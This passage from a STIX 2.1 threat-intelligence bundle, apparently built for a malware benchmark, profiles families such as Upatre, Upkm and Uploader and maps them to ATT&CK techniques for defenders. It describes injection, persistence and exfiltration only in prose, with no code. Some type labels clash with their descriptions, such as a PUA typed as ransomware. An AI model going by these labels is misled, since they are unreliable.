      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--46d46b0e-0e89-55fc-b2af-de3a72511caa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Upatre",
      "description": "Upatre is a notoriously lightweight, high-volume downloader first identified in mid-2013 that served as the initial spearhead for some of the most catastrophic cybercrime operations in history, including GameOver Zeus (GOZ), Dyre (Dyreza), and CryptoLocker. Written in C/C++, Upatre was engineered with a hyper-minimalist footprint (often smaller than 35 KB) specifically optimized to slip past perimeter email security gateways, antivirus heuristics, and sandboxes.\n\nUpatre was predominantly disseminated via massive automated phishing blitzes disguised as official communications\u2014such as bank wire confirmations, tax documents, internal office faxes, and package delivery notifications. These emails carried weaponized ZIP archives or PDFs embedding executable payloads disguised with double extensions (e.g. Invoice.pdf.exe). Upon initial execution, Upatre performs process injection into trusted operating system processes like explorer.exe, svchost.exe, or notepad.exe. It then initiates encrypted SSL/TLS or raw TCP connections directly to compromised web servers or Tor gateways, downloads a second-stage encrypted binary payload, decrypts it using proprietary multi-byte XOR routines, and spawns the secondary malware before terminating its own process to minimize on-disk forensic artifacts. (Observed samples in benchmark: 4,200)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Upatre",
        "Downloader.Upatre"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Upatre",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/upatre"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert TA14-153A (GameOver Zeus and Upatre Remediation)"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--930857aa-a7b8-58fb-9442-ed9ab8d7a359",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46d46b0e-0e89-55fc-b2af-de3a72511caa",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upatre exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be02442d-3501-5986-90d5-f5f56f718242",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46d46b0e-0e89-55fc-b2af-de3a72511caa",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upatre exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ddadf3a-8786-52b9-b11e-5fc3702734c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46d46b0e-0e89-55fc-b2af-de3a72511caa",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upatre exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a985689-ec7c-5a2f-b8f4-de08d9a4718a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46d46b0e-0e89-55fc-b2af-de3a72511caa",
      "target_ref": "attack-pattern--ee167224-c3ac-5c79-bdf1-88c2f727429f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upatre exhibits technique T1573.001 (Encrypted Channel: Symmetric Cryptography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be4307c3-0ad5-5ace-9bc5-dc0e976b45d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46d46b0e-0e89-55fc-b2af-de3a72511caa",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upatre exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41a6f770-e220-5fec-bdfc-28ef1b2a16e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46d46b0e-0e89-55fc-b2af-de3a72511caa",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upatre exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--df773b53-a977-55ec-a25c-29ba2a557226",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Updater",
      "description": "PUA:Win32/Updater is a generic classification used by security vendors to identify Potentially Unwanted Programs (PUAs) and greyware that masquerade as legitimate software update utilities (e.g., 'Flash Updater', 'Java Updater', or 'Driver Updater'). These programs utilize deceptive social engineering to trick users into executing them, serving as an initial access vector to install adware, browser hijackers, or more severe malware payloads.<br><br><b>Understanding Fake Updaters</b><br>To an end-user, the infection begins with an urgent, often alarming pop-up while browsing the web, claiming a critical piece of software is out of date and their computer is vulnerable. For a security analyst, this is a classic drive-by download or deceptive execution tactic. The 'updater' is rarely malicious in its own right (it isn't a virus or ransomware); rather, it acts as a highly effective Trojan horse or 'dropper' designed to bypass user suspicion and gain execution privileges.<br><br><b>Execution and Bundling Mechanics</b><br>The attack begins with Malvertising or compromised websites (`T1189`) serving fake, urgent pop-ups. The user, believing they are securing their system, downloads and executes the `Updater.exe` (`T1204.002`). The updater utilizes 'Dark Patterns'\u2014pre-checked consent boxes hidden under 'Advanced' settings\u2014to gain technical consent to install bundled software. Upon execution, it reaches out to a C2 server to fetch affiliate payloads (`T1105`). It silently drops and executes multiple secondary adware components (`T1059.004`), installing rogue browser extensions (`T1176`), and modifying the browser's default search engine (`T1112`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, intrusive pop-ups, and potential exposure to further malvertising. Incident responders will observe the user executing an unsigned binary from their `Downloads` folder, immediately followed by the binary spawning child processes that modify browser preference files and Registry Run keys. DNS logs will show connections to known adware affiliate networks. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Updater",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/updater"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5d7b288-44b4-5bd6-ae2c-30bc0d71031d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df773b53-a977-55ec-a25c-29ba2a557226",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Updater exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d975b5f-6eba-5161-b417-55e417d183fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df773b53-a977-55ec-a25c-29ba2a557226",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Updater exhibits technique T1189 (Drive-by Compromise (Malvertising))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa3f94fd-da34-56d4-8b82-47f7555e2bca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df773b53-a977-55ec-a25c-29ba2a557226",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Updater exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--584f7f0a-3254-5dc2-b7ec-1210f525b6a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df773b53-a977-55ec-a25c-29ba2a557226",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Updater exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0be5c013-e30d-5066-bce6-9b53f1c746ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df773b53-a977-55ec-a25c-29ba2a557226",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Updater exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1dfac0d9-db7c-57ad-bbdd-46807d32386f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Updatestar",
      "description": "Adware:Win32/Updatestar is a classification for Potentially Unwanted Programs (PUPs) that masquerade as legitimate software updaters or driver management utilities. While they may nominally perform version checks, their primary function is aggressive monetization. They bombard the user with deceptive 'Critical Update Required' alerts to force the purchase of premium versions, and they frequently bundle secondary adware or browser hijackers during installation (`T1189`).<br><br><b>Understanding Updatestar (Fake Updaters/PUPs)</b><br>To an end-user, Updatestar is confusing and anxiety-inducing. The software constantly claims the computer is 'out of date' or 'at risk' due to old drivers, pushing the user to pay for a fix. For an IT department, it is a nuisance that generates false alarms, slows down system performance, and often introduces further unwanted software into the corporate environment.<br><br><b>Execution and Persistence Mechanics</b><br>Updatestar is typically distributed via software bundling or aggressive affiliate marketing campaigns. Users often install it believing it is a required update for a media player or browser. Upon execution, it establishes persistence by creating a Scheduled Task (`T1053.005`) that runs the 'scanner' every time the user logs in. The software often employs deceptive UI design (dark patterns) to make it difficult to decline the installation of bundled toolbars or to actually uninstall the software itself.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily a degraded user experience, potential financial loss (for users tricked into buying the software), and exposure to secondary adware. Host-based IoCs include the presence of the Updatestar application in `%ProgramFiles%`, the creation of scheduled tasks named similarly to 'UpdateStar Scanner', and the sudden appearance of unexpected browser extensions or changed homepages. Network IoCs include frequent background connections to the vendor's licensing and advertising affiliate networks. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Updatestar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/updatestar"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e5f3631-b357-5870-b9cb-b79448d1bb94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1dfac0d9-db7c-57ad-bbdd-46807d32386f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Updatestar exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22435da8-5562-550c-bf8c-b8037910a900",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1dfac0d9-db7c-57ad-bbdd-46807d32386f",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Updatestar exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Establishing persistence for daily 'scans'))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d33e4c41-67dc-5409-bf65-f5afbeb92245",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1dfac0d9-db7c-57ad-bbdd-46807d32386f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Updatestar exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Employing deceptive uninstallers that fail to remove the software))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c382c4c1-d4bd-5f9f-add3-4bc8cc3dbef1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Upkm",
      "description": "Trojan:Win32/Upkm is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Upkm</b><br>To an end-user, a Upkm infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Upkm is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Upkm is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Upkm frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Upkm reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Upkm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/upkm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a0b295c-9616-548e-8011-e869d4a82b04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c382c4c1-d4bd-5f9f-add3-4bc8cc3dbef1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upkm exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cf84fba-4906-50d6-9635-2f81cbb32c31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c382c4c1-d4bd-5f9f-add3-4bc8cc3dbef1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upkm exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2386cf5c-b3e0-56ba-ae12-31b34bb4bae8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c382c4c1-d4bd-5f9f-add3-4bc8cc3dbef1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upkm exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee81e684-9497-5fff-87d3-eb4636d6464c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c382c4c1-d4bd-5f9f-add3-4bc8cc3dbef1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upkm exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f56f6a62-aabc-505e-9df0-11e36b51982a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c382c4c1-d4bd-5f9f-add3-4bc8cc3dbef1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Upkm exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3774853a-d1a7-523b-af65-6b4110ac5e76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uploader",
      "description": "<h3>Executive Summary</h3>\n\"Uploader\" is a classification for a specialized class of Trojan or HackTool primarily designed for data exfiltration. Unlike \"Downloaders\" which pull malware onto a system, an Uploader's sole objective is to securely package and transmit sensitive data (such as stolen credentials, proprietary documents, or keylogger logs) from the compromised internal network out to an external server controlled by the attacker.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nUploaders are rarely the initial vector of compromise. They are typically dropped and executed by a primary Trojan (like an Info-stealer) or manually deployed by a threat actor who has achieved interactive access via lateral movement or compromised VPN credentials.\n\nOnce executed, the Uploader focuses on stealthy exfiltration:\n<ul>\n<li><strong>Data Staging and Archiving:</strong> The tool locates a staging directory (often created by a companion info-stealer), compresses the stolen data into an archive (like a password-protected `.zip` or `.rar`), and splits it into smaller chunks to avoid triggering data loss prevention (DLP) alerts based on large file transfers.</li>\n<li><strong>Covert Exfiltration:</strong> To bypass perimeter firewalls, Uploaders utilize standard, allowed protocols. They frequently upload the staged data via HTTP POST requests, FTP, or increasingly, by misusing legitimate cloud storage APIs (like Google Drive, Dropbox, or OneDrive) to blend the exfiltration with normal corporate web traffic.</li>\n<li><strong>Self-Deletion:</strong> Once the transfer is successfully acknowledged by the attacker's C2 server, the Uploader will often securely delete the staging archives and its own executable to destroy forensic evidence.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of an Uploader in action is a critical, \"break-glass\" incident. It definitively confirms that the network has been breached, sensitive data has been successfully harvested, and the exfiltration phase of the attack is currently underway.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Containment:</strong> The absolute highest priority is to sever the connection to the attacker's server. Implement immediate firewall blocks against the destination IP address or cloud service being utilized for exfiltration.</li>\n<li><strong>Data Loss Assessment:</strong> Security teams must aggressively review proxy logs, firewall traffic, and DNS queries to determine exactly how much data was successfully transmitted before the connection was severed, and identify the contents of the staging directory.</li>\n<li><strong>Global Credential Reset and Hunt:</strong> Assume a severe breach. Force a global password reset for all Active Directory users and initiate a comprehensive threat hunt to identify the initial point of compromise and the tools used to harvest the data.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Uploader",
        "HackTool.Uploader",
        "Exfiltration.Tool"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uploader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uploader"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d64e22bb-e8ad-5a06-8f6f-05cba46f015a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3774853a-d1a7-523b-af65-6b4110ac5e76",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uploader exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d939cec-0187-507b-9507-105a41da914e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3774853a-d1a7-523b-af65-6b4110ac5e76",
      "target_ref": "attack-pattern--518e40e2-6189-54b7-a336-29417ed0c6c0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uploader exhibits technique T1567.002 (Exfiltration to Cloud Storage)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9238475e-b6bb-5794-91ab-cd0077e32d52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3774853a-d1a7-523b-af65-6b4110ac5e76",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uploader exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c852bb26-d3f6-5dc6-b796-3317730425a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3774853a-d1a7-523b-af65-6b4110ac5e76",
      "target_ref": "attack-pattern--772551ec-8f8a-5fc0-9ee5-8b57c9dbe443",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uploader exhibits technique T1074.001 (Data Staged: Local Data Staging (Storing scraped cards in a hidden file))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3d77a61a-5937-53e6-b388-f2cec35f542d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uptodown",
      "description": "Adware:Win32/Uptodown is an intrusive adware component and software bundler designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators. The name is often associated with software downloaded from third-party portals that aggressively wrap installers in adware.<br><br><b>Understanding Uptodown</b><br>To an end-user, Uptodown manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Uptodown is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uptodown",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uptodown"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6efe56ce-2f69-5a27-b1a6-fe936367d848",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d77a61a-5937-53e6-b388-f2cec35f542d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uptodown exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76654564-8ad8-5656-8731-fae73bb9317c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d77a61a-5937-53e6-b388-f2cec35f542d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uptodown exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6386bed-1c86-5a13-ad45-b8fdff72718e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d77a61a-5937-53e6-b388-f2cec35f542d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uptodown exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6d0f088-9e63-5c7b-828d-56355ef1c313",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3d77a61a-5937-53e6-b388-f2cec35f542d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uptodown exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fc709274-5a0f-5350-b97e-c103bb2e089e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Urausy",
